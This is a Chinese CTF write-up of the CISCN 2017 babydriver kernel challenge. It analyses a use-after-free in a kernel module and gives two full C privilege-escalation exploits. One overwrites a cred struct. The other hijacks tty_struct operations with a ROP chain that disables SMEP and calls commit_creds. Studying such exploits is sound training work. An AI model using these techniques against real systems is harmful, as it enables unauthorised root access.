【kernel_pwn】CISCN2017 babydriver

在网上找了一些kernel pwn 的题来练练手,对我来说只看理论,学习效果是不会很好的,实操一遍才能有真正的理解

准备

这是个kernel pwn的UAF题

拿到题目发现有三个文件

1558087363608

根据之前的搭建kernel环境的经验,可以看出他们分别是启动脚本,kernel镜像,文件命令系统

用file命令发现是个压缩包,需要进行解压,yo

1
2
$ file rootfs.cpio 
rootfs.cpio: gzip compressed data, last modified: Tue Jul 4 08:39:15 2017, max compression, from Unix

由于发现gunzip无法识别后缀,就需要先改个后缀,再解压

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
mkdir fs
cd fs
cp ../rootfs.cpio ./rootfs.cpio.gz
gunzip ./rootfs.cpio.gz
cpio -idmv < rootfs.cpio

babydriver/fs$ ls
bin etc home init lib linuxrc proc rootfs.cpio sbin sys tmp usr
babydriver/fs$ cat init
#!/bin/sh

mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
chown root:root flag
chmod 400 flag
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console

insmod /lib/modules/4.4.72/babydriver.ko
chmod 777 /dev/babydev
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
setsid cttyhack setuidgid 1000 sh

umount /proc
umount /sys
poweroff -d 0 -f

可以看到init就是启动内核的初始化文件

这里只需要关心这一条insmod /lib/modules/4.4.72/babydriver.ko

说明内核加载了这个ko文件

漏洞也就出在这个文件,扔到IDA进行分析,按常规的pwn解题分析漏洞

这里有个小插曲,我发现我运行boot.sh是死活运行不了qemu的

后面去查了才知道需要在Ubuntu虚拟机设置开启这些

1558092399469

或者在boot.sh脚本中把-enable-kvm删掉

启动以后就能看到,我们的用户是ctf,目标是提权成为root

1558094395349

分析

$ file babydriver.ko
babydriver.ko: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), BuildID[sha1]=8ec63f63d3d3b4214950edacf9e65ad76e0e00e7, not stripped
$ checksec babydriver.ko
[*] /babydriver/fs/lib/modules/4.4.72/babydriver.ko
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x0)

可以看到基本没开什么保护

接下来是常规的IDA分析

1558249942389

可以发现这里有个结构体,两个成员,一个存储buf指针,一个存储buf的长度

babydriver.ko 中主要有这些函数

babyioctl函数

这个函数在IDA中反汇编有报错情况,因此需要结合汇编来看

1558250526740

大概的作用就是,如果调用这个函数ioctl(babydev_struct,65537,0x100)

那么会把babydev_struct的buf指针free掉,重新申请一个buf指针,并且指定babydev_struct的len为0x100

babyopen,用于生成一个babydev_struct,默认的len是64

1558250811518

babyrelease,用于free掉buf指针,这里free了指针却没有清空指针,也没有清空len

1558249981650

babywrite,用于往babydev_struct的buf中写内容

1558250928167

babyread,用于从babydev_struct的buf中读内容

1558251039079

init和exit函数没有什么太大的意思,基本上就是设置参数,初始化设备等等工作,我们的重点是几个函数。不过需要注意,init中设置了/dev/babydev作为设备文件。

利用方法一

分析完,其实可以发现有一个UAF的洞,由于bss段中存储dev,如果你申请完dev1,再申请dev2,那么dev2就会覆盖dev1

搞kernel pwn最终的目的是为了提权

那么这些就需要用的cred结构体,kernel中就是用它用来记录进程权限的,这个结构体中保存了该进程的权限等信息如(uid,gid)等,如果能修改这个结构体那么就修改了这个进程的权限。

利用思路如下:

  • open,dev1,dev2
  • free dev1
  • 使用ioctl函数malloc一个大小为cred大小的空间,产生UAF
  • fork一个新进程,让新进程的cred恰好在上面所malloc的空间中
  • 利用babywrite向dev2写,相当于修改cred结构体,提权

为什么fork一个新进程,它的cred会刚刚好和dev2的一样?

在fork一个新的进程的时候伴随着复制父进程的资源,在将父进程的资源(包括了cred)复制给子进程时,调用了kmem_cache_alloc_trace这个函数,是的,也就是发生了堆空间的分配,那么就能分配到和dev2一样的堆空间了

详细可以看源码

同时发现在内核中对堆空间的管理是用了另外一套管理机制,这里放个链接

我寻思着日后遇到内核的堆利用就得好好学习他的管理机制,然后找漏洞了吧

调试

调试可以说是在打kernel pwn的时候比较烦人的一个地方

首先需要启动gdb

gdb ./vmlinux -q 这是为了获取符号

但这题中没有,那么就需要用到这个东西,提取出来

./extract-vmlinux ./bzImage > vmlinux

extract-vmlinux 其实就是个脚本,复制下来直接能用

这里还需要在gdb中导入驱动文件的符号表:

add-symbol-file ./fs/lib/modules/4.4.72/babydriver.ko 0xffffffffc0000000

后面的地址为.text段的地址,可以直接从qemu中查看,并且每次都不会变

1
2
/ $ cat proc/modules 
babydriver 16384 0 - Live 0xffffffffc0000000 (OE)

做完这些工作后,gdb中输入

target remote 127.0.0.1:1234 开启端口监听

然后马上启动boot.sh脚本

1558255449309

这样就能看到,调试停在了这里,同时在qemu中也暂停了,这时按一下c,qemu中才会继续启动

是的,这里是用gdb对一整个qemu启动的内核进行调试,所以就比以前打pwn的调试麻烦很多

就需要下断点,这样我们在调用babydriver.ko的时候,才能清楚看到里面的过程,由于之前添加了符号

下断点就直接用符号下就行了

b babyopen

然而有的时候就是会遇到问题,比如

1558262247790

出现这种报错的时候就没得调试了,这里有一种改gdb源码的方法来解决这个问题

但是这个方法讷就比较捞,得下一个新版本的gdb来弄,而且得去新版本目录下进行开启gdd

就像这样,进去原始版本的gdb调起来很难受

1558262488775

更新:以上方法都是弟弟

直接修改gdbinit,只留下peda,其他的都不要,这样就很完美的能调试!

1558267466926

更新again,上面的方法是弟中弟

这次可以不用改gdbinit了,pwndbg,pwngdb,peda通通没问题,只需要你在开始调试的时候运行下面这个脚本

以后需要预先调试的命令直接加这里面就行了

产生上面报错的原因。。似乎是因为打开qemu和gdb的时间顺序问题??!

反正我佛了

因此脚本这里连接两次保证能进入调试状态

1
2
3
4
5
6
7
8
9
10
11
gdb \
-ex "add-auto-load-safe-path $(pwd)" \
-ex "file ./vmlinux" \
-ex "add-symbol-file ./fs/lib/modules/4.4.72/babydriver.ko 0xffffffffc0000000" \
-ex 'set arch i386:x86-64:intel' \
-ex 'target remote localhost:1234' \
-ex 'break babyopen' \
-ex 'continue' \
-ex 'disconnect' \
-ex 'set arch i386:x86-64' \
-ex 'target remote localhost:1234' \

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <stropts.h>
#include <sys/wait.h>
#include <sys/stat.h>
int main(){
int dev1 = open("/dev/babydev",2);
int dev2 = open("/dev/babydev",2);

int a = ioctl(dev1,65537,0xa8);
//now dev1 dev2 has 0xa8 len

close(dev1);//free 0xa8 heap_space
int pid = fork();
//it needs 0xa8 heap_space
//so it will get the dev1/2 's heap_space
if(pid < 0)
{
printf("error!");
exit(0);
}
else if(pid == 0)
{
char root[30] = {0};
write(dev2,root,30);
//change cred's uid to root
if(getuid() == 0)
{
system("/bin/sh");
exit(0);
}
}
else{
wait(NULL);
}

return 0;
}
//gcc exp.c -static -o ./fs/exp

这里调用wait函数是有用的,去掉以后是不能拿shell的

父进程一旦调用了wait就立即阻塞自己,由wait自动分析是否当前进程的某个子进程已经退出,如果让它找到了这样一个已经变成僵尸的子进程,wait就会收集这个子进程的信息,并把它彻底销毁后返回;如果没有找到这样一个子进程,wait就会一直阻塞在这里,直到有一个出现为止


利用方法二

这里还有一种比较骚也是比较难的解法,本着学习的心态,还是好好去复现了一波

这里利用了一种tty设备ptmx ,也是和dev一样,都能open

通过系统调用进入内核,创建新的文件结构体,并执行驱动设备自实现的open函数。

具体open细节可以参考 : https://blog.csdn.net/liushuimpc/article/details/51610941

简单的说,open(“/dev/ptmx”, O_RDWR | O_NOCTTY) 同样会申请一块空间,存储一个叫做tty_struct的结构体

根据前面的UAF,同样能修改tty_struct结构体的内容,而这个结构体还比较特殊,能有用来做ROP

来看看他的成员

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
struct tty_struct {
int magic;
struct kref kref;
struct device *dev;
struct tty_driver *driver;
const struct tty_operations *ops; < -- 注意这里
int index;
/* Protects ldisc changes: Lock tty not pty */
struct ld_semaphore ldisc_sem;
struct tty_ldisc *ldisc;
struct mutex atomic_write_lock;
struct mutex legacy_mutex;
struct mutex throttle_mutex;
struct rw_semaphore termios_rwsem;
struct mutex winsize_mutex;
spinlock_t ctrl_lock;
spinlock_t flow_lock;
/* Termios values are protected by the termios rwsem */
struct ktermios termios, termios_locked;
struct termiox *termiox; /* May be NULL for unsupported */
char name[64];
struct pid *pgrp; /* Protected by ctrl lock */
struct pid *session;
unsigned long flags;
int count;
struct winsize winsize; /* winsize_mutex */
unsigned long stopped:1, /* flow_lock */
flow_stopped:1,
unused:BITS_PER_LONG - 2;
int hw_stopped;
unsigned long ctrl_status:8, /* ctrl_lock */
packet:1,
unused_ctrl:BITS_PER_LONG - 9;
unsigned int receive_room; /* Bytes free for queue */
int flow_change;
struct tty_struct *link;
struct fasync_struct *fasync;
wait_queue_head_t write_wait;
wait_queue_head_t read_wait;
struct work_struct hangup_work;
void *disc_data;
void *driver_data;
spinlock_t files_lock; /* protects tty_files list */
struct list_head tty_files;
#define N_TTY_BUF_SIZE 4096
int closing;
unsigned char *write_buf;
int write_cnt;
/* If the tty has a pending do_SAK, queue it here - akpm */
struct work_struct SAK_work;
struct tty_port *port;
} __randomize_layout;

这里有一个成员需要注意

const struct tty_operations *ops

它也是个结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
struct tty_operations {
struct tty_struct * (*lookup)(struct tty_driver *driver,
struct file *filp, int idx);
int (*install)(struct tty_driver *driver, struct tty_struct *tty);
void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
int (*open)(struct tty_struct * tty, struct file * filp);
void (*close)(struct tty_struct * tty, struct file * filp);
void (*shutdown)(struct tty_struct *tty);
void (*cleanup)(struct tty_struct *tty);
int (*write)(struct tty_struct * tty,
const unsigned char *buf, int count);
int (*put_char)(struct tty_struct *tty, unsigned char ch);
void (*flush_chars)(struct tty_struct *tty);
int (*write_room)(struct tty_struct *tty);
int (*chars_in_buffer)(struct tty_struct *tty);
int (*ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
long (*compat_ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
void (*throttle)(struct tty_struct * tty);
void (*unthrottle)(struct tty_struct * tty);
void (*stop)(struct tty_struct *tty);
void (*start)(struct tty_struct *tty);
void (*hangup)(struct tty_struct *tty);
int (*break_ctl)(struct tty_struct *tty, int state);
void (*flush_buffer)(struct tty_struct *tty);
void (*set_ldisc)(struct tty_struct *tty);
void (*wait_until_sent)(struct tty_struct *tty, int timeout);
void (*send_xchar)(struct tty_struct *tty, char ch);
int (*tiocmget)(struct tty_struct *tty);
int (*tiocmset)(struct tty_struct *tty,
unsigned int set, unsigned int clear);
int (*resize)(struct tty_struct *tty, struct winsize *ws);
int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
int (*get_icount)(struct tty_struct *tty,
struct serial_icounter_struct *icount);
void (*show_fdinfo)(struct tty_struct *tty, struct seq_file *m);
#ifdef CONFIG_CONSOLE_POLL
int (*poll_init)(struct tty_driver *driver, int line, char *options);
int (*poll_get_char)(struct tty_driver *driver, int line);
void (*poll_put_char)(struct tty_driver *driver, int line, char ch);
#endif
int (*proc_show)(struct seq_file *, void *);
} __randomize_layout;

你会发现,他的成员,全是函数指针,这就意味着,如果我们可以伪造该结构体,那么就能实现更改程序流程

他有什么用?原理是这样的:

fd=open("/dev/ptmx", O_RDWR)时会创建一个tty_struct。

如何使用tty_operations中的函数指针?

如果执行ioctl(fd,0,0)就会调用其中的int (*ioctl)(struct tty_struct *tty,unsigned int cmd, unsigned long arg);

依次类推

由于前面的UAF,我们可以控制tty_struct

进而也就可以控制const struct tty_operations *ops

将这个成员改到一个我们可以控制的内存地址,在里面写ROP,这样就能改变程序流程了

这时就能开始操作了,分以下几步

  1. 这个时候我们首先需要解决的一个问题是绕过SMEP保护

    因为系统是根据CR4寄存器的第20位来判断内核是否开启了smep,为1时开启,为0时关闭,所以绕过方法就是将第20位置0,但是该寄存器的值无法直接查看,只能通过kernel crash时产生的信息查看:

1558359381286

​ 这里可以看到,就把CR4的值设置为0x6f0即可

​ 这里就用到了这么个gadget

1
2
3
4
5
6
7
8
size_t write_cr4 = 0xFFFFFFFF810635B0;
/*
0xffffffff810635b0: push rbp
0xffffffff810635b1: mov rbp,rsp
0xffffffff810635b4: mov cr4,rdi
0xffffffff810635b7: pop rbp
0xffffffff810635b8: ret
*/
  1. 调用commit_creds(prepare_kernel_cred(0))函数来getroot
  2. 迁移内核栈到用户态,且栈地址可以预测,则可利用mmap将这个地址申请下来,再填充ROP
  3. iretq,用来回到用户空间特权级方便打开shell
  4. getshell

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <sched.h>
#include <errno.h>
#include <pty.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/sem.h>

struct _tty_operations
{
struct tty_struct * (*lookup)(struct tty_driver *driver,
struct inode *inode, int idx);
int (*install)(struct tty_driver *driver, struct tty_struct *tty);
void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
int (*open)(struct tty_struct * tty, struct file * filp);
void (*close)(struct tty_struct * tty, struct file * filp);
void (*shutdown)(struct tty_struct *tty);
void (*cleanup)(struct tty_struct *tty);
int (*write)(struct tty_struct * tty,
unsigned char *buf, int count);
int (*put_char)(struct tty_struct *tty, unsigned char ch);
void (*flush_chars)(struct tty_struct *tty);
int (*write_room)(struct tty_struct *tty);
int (*chars_in_buffer)(struct tty_struct *tty);
int (*ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
long (*compat_ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
void (*throttle)(struct tty_struct * tty);
void (*unthrottle)(struct tty_struct * tty);
void (*stop)(struct tty_struct *tty);
void (*start)(struct tty_struct *tty);
void (*hangup)(struct tty_struct *tty);
int (*break_ctl)(struct tty_struct *tty, int state);
void (*flush_buffer)(struct tty_struct *tty);
void (*set_ldisc)(struct tty_struct *tty);
void (*wait_until_sent)(struct tty_struct *tty, int timeout);
void (*send_xchar)(struct tty_struct *tty, char ch);
int (*tiocmget)(struct tty_struct *tty);
int (*tiocmset)(struct tty_struct *tty,
unsigned int set, unsigned int clear);
int (*resize)(struct tty_struct *tty, struct winsize *ws);
int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
int (*get_icount)(struct tty_struct *tty,
struct serial_icounter_struct *icount);
struct file_operations *proc_fops;
};
#define KERNCALL __attribute__((regparm(3)))

void ( * commit_creds )(void *) KERNCALL ;
size_t* (* prepare_kernel_cred)(void *) KERNCALL ;


size_t swapgs = 0xffffffff81063694;//swapgs;pop rbp;ret
size_t xchg_esp_eax = 0xFFFFFFFF81007808;//xchg esp,eax;ret
//size_t xchg_esp_eax =0xffffffff8100008a;
size_t iretq = 0xffffffff814e35ef;//rex.WRB iretq;ret
size_t p_rdi = 0xffffffff810d238d;
size_t write_cr4 = 0xFFFFFFFF810635B0;
/*
0xffffffff810635b0: push rbp
0xffffffff810635b1: mov rbp,rsp
0xffffffff810635b4: mov cr4,rdi
0xffffffff810635b7: pop rbp
0xffffffff810635b8: ret
*/
//unsigned long user_cs, user_ss, user_eflags;
unsigned long user_cs, user_ss, user_eflags,user_sp ;
void save_stats()
{//保存用户态的寄存器现场
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %3\n"
"pushfq\n"
"popq %2\n"
:"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags),"=r"(user_sp)
:
: "memory"
);
}


void getshell()
{
system("/bin/sh");
}

void getroot()
{
commit_creds= 0xffffffff810a1420;
prepare_kernel_cred =0xffffffff810a1810;
size_t cred = prepare_kernel_cred(0);
commit_creds(cred);
}

struct _tty_operations tty_operations;
char buff[0x1000];
size_t data[0X50];

int main()
{
puts("====================start=======================");
tty_operations.ioctl = xchg_esp_eax;
int i;
char *fake_chunk ;
//memset(data,0,0x30);
save_stats();
int fd1=-1,fd2=-1;
int trag[0x100];
fd1 = open("/dev/babydev",O_RDWR);
if (fd1==-1)
{
puts("fd1 open error");
}
printf("fd: %d",fd1);
fd2 = open("/dev/babydev",O_RDWR);
if (fd2==-1)
{
puts("fd2 open error");
}
printf("fd: %d",fd2);

puts("\n=================free chunk=====================");
//ioctl(fd1,0x10001,0x3e0);
ioctl(fd2,0x10001,0x2e0);
close(fd2);
//cause fd1 point_to tty
puts("\n=================build mem =====================");
fake_chunk = mmap(xchg_esp_eax & 0xfffff000, 0x30000, 7, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
printf("build fake chunk at mem : %llp\n",fake_chunk);
printf("xchg_esp_eax : %llp\n",xchg_esp_eax );
printf("tty_operations : %llp\n",&tty_operations );
//这些ROP写在地址:0x81007808
data[0] = p_rdi ;
data[1] = 0x6f0 ;
data[2] = write_cr4 ;
data[3] = getroot;
data[4] = swapgs;//回到用户态
data[5] = fake_chunk+0x1000;//0x0x8100800
data[6] = iretq;
data[7] = getshell;
data[8] = user_cs;
data[9] = user_eflags;
data[10]= user_sp;
data[11]= user_ss;
memcpy(xchg_esp_eax & 0xffffffff,data,sizeof(data));

puts("\n=================SET VTABLE=====================");
for(i=0;i<0xff;i++)
{

trag[i] = open("/dev/ptmx", O_RDWR | O_NOCTTY);
if (trag[i] <= -1)
{
puts("open error");
exit(-1);
}
//printf("now open the %d tty\n", i);
}


i = read(fd1,buff,0x40);
//copy tty struct to buff
printf("read: %d bytes\n",i);
for (i = 0 ;i <8;i++)
{
printf("%llx\n",(size_t )*(buff+i*8));
}

*(size_t *)(buff+3*8) = &tty_operations;
write(fd1,buff,0x40);

puts("\n=================trag vul=====================");
//getchar();
for(i=0;i<0xff;i++)
{

ioctl(trag[0],0,0);
}

}

参考:http://p4nda.top/2018/10/11/ciscn-2017-babydriver/#comments

参考

https://ch4r1l3.github.io/2018/10/11/linux-kernel-pwn-%E5%88%9D%E6%8E%A2-5/#more

http://myhackerworld.top/2019/01/08/kernel-pwn-CISCN2017-babydriver/

http://m4x.fun/post/linux-kernel-pwn-abc-1/#kernel-uaf-ciscn2017-babydriver

https://www.anquanke.com/post/id/86490

https://xz.aliyun.com/t/4529#toc-12

小结

通过第一次接触kernel pwn,还是感觉自己太菜了,还比较缺linux编程方面的经验,对linux系统底层的了解也不够,继续加油吧